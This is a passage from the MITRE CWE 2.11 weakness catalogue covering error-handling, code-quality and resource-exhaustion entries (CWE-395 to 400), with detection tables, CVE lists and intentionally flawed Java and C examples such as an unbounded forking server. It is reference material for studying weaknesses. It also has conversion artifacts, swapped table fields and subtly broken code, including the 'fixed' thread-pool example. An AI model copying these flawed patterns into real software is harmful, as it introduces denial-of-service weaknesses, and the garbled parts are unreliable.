<td>CVE-2001-0910</td>
<td>Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.</td>
</tr>
<tr>
<td>CVE-2002-2124</td>
<td>Unchecked return code from recv() leads to infinite loop.</td>
</tr>
<tr>
<td>CVE-2004-1395</td>
<td>Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit.</td>
</tr>
<tr>
<td>CVE-2004-2371</td>
<td>Game server doesn't check return values for functions that handle text strings and associated size values.</td>
</tr>
<tr>
<td>CVE-2005-1267</td>
<td>Resultant infinite loop when function call returns -1 value.</td>
</tr>
<tr>
<td>CVE-2005-1858</td>
<td>Memory not properly cleared when read() function call returns fewer bytes than expected.</td>
</tr>
<tr>
<td>CVE-2005-2553</td>
<td>Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td></td>
</tr>
</tbody>
</table>

Relationship Notes
Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Unexpected Status Code or Return Value</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

<table>
<thead>
<tr>
<th>Weakness ID: 395 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>
CWE Version 2.11
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Description
Summary
Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

Extended Description
Programmers typically catch NullPointerException under three circumstances:
The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
The program explicitly throws a NullPointerException to signal an error condition.
The code is part of a test harness that supplies unexpected input to the classes under test.
Of these three circumstances, only the last is acceptable.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
Availability
DoS: resource consumption (CPU)

Detection Methods
Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Bytecode Weakness Analysis - including disassembler + source code weakness analysis
    Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Formal Methods / Correct-By-Construction
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
The following code mistakenly catches a NullPointerException.
CWE-396: Declaration of Catch for Generic Exception

Java Example:

```java
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}  
```

Potential Mitigations

Architecture and Design

Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>700 670</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699 672</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1000 1108</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1000 1153</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844 1298</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888 1380</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>ERR08-J</td>
<td>Catching NullPointerException</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR08-J</td>
<td>Do not catch NullPointerException or any of its ancestors</td>
</tr>
</tbody>
</table>

CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396 (Weakness Base)  Status: Draft

Description

Summary

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Common Consequences

Non-Repudiation
Other

Hide activities
Alter execution logic

Demonstrative Examples

The following code excerpt handles three types of exceptions in an identical fashion.
Java Example:

```java
try {
    doExchange();
} catch (IOException e) {
    logger.error("doExchange failed", e);
} catch (InvocationTargetException e) {
    logger.error("doExchange failed", e);
} catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

```java
try {
    doExchange();
} catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if `doExchange()` is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from `RuntimeException` such as `ClassCastException`, and `NullPointerException`, which is not the programmer's intent.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>960</td>
<td>SFP Secondary Cluster: Ambiguous Exception Type</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>SFP5</td>
<td>Overly-Broad Catch Block</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Ambiguous Exception Type</td>
</tr>
</tbody>
</table>

References


CWE-397: Declaration of Throws for Generic Exception

<table>
<thead>
<tr>
<th>Weakness ID: 397 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Declaring a method to throw `Exception` or `Throwable` makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.
CWE-398: Indicator of Poor Code Quality

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C++
- Java
- .NET

**Common Consequences**

**Non-Repudiation**

**Other**

**Hide activities**

**Alter execution logic**

**Demonstrative Examples**

The following method throws three types of exceptions.

**Java Example:**

```java
public void doExchange() throws IOException, InvocationTargetException, SQLException {
    ...
}
```

While it might seem tidier to write

```java
public void doExchange() throws Exception {
    ...
}
```

... doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>960</td>
<td>SFP Secondary Cluster: Ambiguous Exception Type</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Overly-Broad Throws Declaration</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>Do not throw RuntimeException, Exception, or Throwable</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>Ambiguous Exception Type</td>
</tr>
</tbody>
</table>

**CWE-398: Indicator of Poor Code Quality**

**Weakness ID:** 398 *(Weakness Class)*

**Status:** Draft

**Description**

**Summary**

The code has features that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained.

**Extended Description**
Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

<table>
<thead>
<tr>
<th>Time of Introduction</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>•</td>
</tr>
<tr>
<td></td>
<td>Architecture and Design</td>
</tr>
<tr>
<td></td>
<td>•</td>
</tr>
<tr>
<td></td>
<td>Implementation</td>
</tr>
</tbody>
</table>

**Common Consequences**

- Other
- Quality degradation

**Detection Methods**

**Architecture / Design Review**

<table>
<thead>
<tr>
<th>SOAR High</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>According to SOAR, the following detection techniques may be useful:</td>
<td></td>
</tr>
<tr>
<td>Highly cost effective:</td>
<td></td>
</tr>
<tr>
<td>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</td>
<td></td>
</tr>
<tr>
<td>Formal Methods / Correct-By-Construction</td>
<td></td>
</tr>
<tr>
<td>Cost effective for partial coverage:</td>
<td></td>
</tr>
<tr>
<td>Attack Modeling</td>
<td></td>
</tr>
</tbody>
</table>

**Automated Static Analysis - Binary / Bytecode**

<table>
<thead>
<tr>
<th>SOAR High</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>According to SOAR, the following detection techniques may be useful:</td>
<td></td>
</tr>
<tr>
<td>Highly cost effective:</td>
<td></td>
</tr>
<tr>
<td>Binary / Bytecode Quality Analysis</td>
<td></td>
</tr>
<tr>
<td>Compare binary / bytecode to application permission manifest</td>
<td></td>
</tr>
</tbody>
</table>

**Dynamic Analysis with manual results interpretation**

<table>
<thead>
<tr>
<th>SOAR Partial</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>According to SOAR, the following detection techniques may be useful:</td>
<td></td>
</tr>
<tr>
<td>Cost effective for partial coverage:</td>
<td></td>
</tr>
<tr>
<td>Automated Monitored Execution</td>
<td></td>
</tr>
</tbody>
</table>

**Automated Static Analysis**

<table>
<thead>
<tr>
<th>SOAR Partial</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>According to SOAR, the following detection techniques may be useful:</td>
<td></td>
</tr>
<tr>
<td>Cost effective for partial coverage:</td>
<td></td>
</tr>
<tr>
<td>Permission Manifest Analysis</td>
<td></td>
</tr>
</tbody>
</table>

**Automated Static Analysis - Source Code**

<table>
<thead>
<tr>
<th>SOAR High</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>According to SOAR, the following detection techniques may be useful:</td>
<td></td>
</tr>
<tr>
<td>Highly cost effective:</td>
<td></td>
</tr>
<tr>
<td>Source Code Quality Analyzer</td>
<td></td>
</tr>
<tr>
<td>Cost effective for partial coverage:</td>
<td></td>
</tr>
<tr>
<td>Warning Flags</td>
<td></td>
</tr>
<tr>
<td>Source code Weakness Analyzer</td>
<td></td>
</tr>
<tr>
<td>Context-configured Source Code Weakness Analyzer</td>
<td></td>
</tr>
</tbody>
</table>

**Dynamic Analysis with automated results interpretation**

<table>
<thead>
<tr>
<th>SOAR Partial</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>According to SOAR, the following detection techniques may be useful:</td>
<td></td>
</tr>
<tr>
<td>Cost effective for partial coverage:</td>
<td></td>
</tr>
<tr>
<td>Web Application Scanner</td>
<td></td>
</tr>
<tr>
<td>Web Services Scanner</td>
<td></td>
</tr>
<tr>
<td>Database Scanners</td>
<td></td>
</tr>
</tbody>
</table>
Manual Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>18</td>
<td>Source Code</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>710</td>
<td>Coding Standards Violation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>978</td>
<td>SFP Secondary Cluster: Implementation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>415</td>
<td>Double Free</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>416</td>
<td>Use After Free</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>477</td>
<td>Use of Obsolete Functions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>546</td>
<td>Suspicious Comment</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>561</td>
<td>Dead Code</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>563</td>
<td>Assignment to Variable without Use ('Unused Variable')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>585</td>
<td>Empty Synchronized Block</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>617</td>
<td>Reachable Assertion</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>700</td>
<td>Seven Pernicious Kingdoms</td>
<td>700</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-399: Resource Management Errors

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Code Quality</td>
</tr>
</tbody>
</table>

CWE-399: Resource Management Errors

**Category ID:** 399 (Category)  **Status:** Draft

**Description**

**Summary**

Weaknesses in this category are related to improper management of system resources.

**Applicable Platforms**

- Languages
  - All

**Detection Methods**

**Dynamic Analysis with automated results interpretation**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer
  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>1003</td>
</tr>
</tbody>
</table>
CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')

Weakness ID: 400 (Weakness Base)  Status: Incomplete

Description

Summary
The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.

Extended Description
Limited resources include memory, file system storage, database connection pool entries, or CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system. Resource exhaustion problems have at least two common causes:
- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for releasing the resource

Time of Introduction
- Operation
- Architecture and Design
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
CWE Version 2.11
CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: resource consumption (other)
The most common result of resource exhaustion is denial of service. The software may slow
down, crash due to unhandled errors, or lock out legitimate users.

Access Control
Other
Bypass protection mechanism
Other
In some cases it may be possible to force the software to "fail open" in the event of resource
exhaustion. The state of the software -- and possibly the security functionality - may then be
compromised.

Likelihood of Exploit
Medium to High

Detection Methods
Automated Static Analysis
Limited
Automated static analysis typically has limited utility in recognizing resource exhaustion problems,
except for program-independent system resources such as files, sockets, and processes. For
system resources, automated static analysis may be able to detect circumstances in which
resources are not released after they have expired. Automated analysis of configuration files may
be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom
resources, such as an intended security policy in which a bulletin board user is only allowed to
make a limited number of posts per day.

Automated Dynamic Analysis
Moderate
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion
problems, especially with resources such as processes, memory, and connections. The technique
may involve generating a large number of requests to the software within a short time frame.

Fuzzing
Opportunistic
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently
find resource exhaustion problems. This can occur when the fuzzer generates a large number
of test cases but does not restart the targeted software in between test cases. If an individual
test case produces a crash, but it does not do so reliably, then an inability to handle resource
exhaustion may be the cause.

Demonstrative Examples
Example 1:
Java Example:

```java
class Worker implements Executor {
    ...
    public void execute(Runnable r) {
        try {
            ...
        } catch (InterruptedException ie) {
            // postpone response
            Thread.currentThread().interrupt();
        }
    }
    public Worker(Channel ch, int nworkers) {
        ...
    }
}
```
protected void activate() {
   Runnable loop = new Runnable() {
       public void run() {
           try {
               for (;;) {
                   Runnable r = ...;
                   r.run();
               }
           } catch (InterruptedException ie) {
               ...
           }
       };
       new Thread(loop).start();
   }
}

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

Example 2:
This code allocates a socket and forks each time it receives a new connection.

C/C++ Example:
Bad Code
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 3:
In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

C/C++ Example:
Bad Code
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!writeToFile(buffer) > 0))
                    break;
            }
        }
    }
    closeFile();
This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients’ ability to access the service.

**Example 4:**

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

**C/C++ Example:***

```c
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check. Also, consider changing the type from ‘int’ to ‘unsigned int’, so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

**C/C++ Example:**

```c
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

**Example 5:**

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

**Java Example:**

```java
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + "::" + counter++);
            t.start();
        }
    }
```
In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

**Java Example:**

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-1173</td>
<td>Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion.</td>
</tr>
<tr>
<td>CVE-2007-0897</td>
<td>Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.</td>
</tr>
<tr>
<td>CVE-2007-4103</td>
<td>Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.</td>
</tr>
<tr>
<td>CVE-2008-1700</td>
<td>Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.</td>
</tr>
<tr>
<td>CVE-2008-2121</td>
<td>TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack.</td>
</tr>
<tr>
<td>CVE-2008-2122</td>
<td>Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.</td>
</tr>
<tr>
<td>CVE-2008-5180</td>
<td>Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.</td>
</tr>
<tr>
<td>CVE-2009-1928</td>
<td>Malformed request triggers uncontrolled recursion, leading to stack exhaustion.</td>
</tr>
<tr>
<td>CVE-2009-2054</td>
<td>Product allows exhaustion of file descriptors when processing a large number of TCP packets.</td>
</tr>
<tr>
<td>CVE-2009-2299</td>
<td>Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.</td>
</tr>
<tr>
<td>CVE-2009-2540</td>
<td>Large integer value for a length property in an object causes a large amount of memory allocation.</td>
</tr>
<tr>
<td>CVE-2009-2726</td>
<td>Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.</td>
</tr>
<tr>
<td>CVE-2009-2858</td>
<td>Chain: memory leak (CWE-404) leads to resource exhaustion.</td>
</tr>
<tr>
<td>CVE-2009-2874</td>
<td>Product allows attackers to cause a crash via a large number of connections.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design

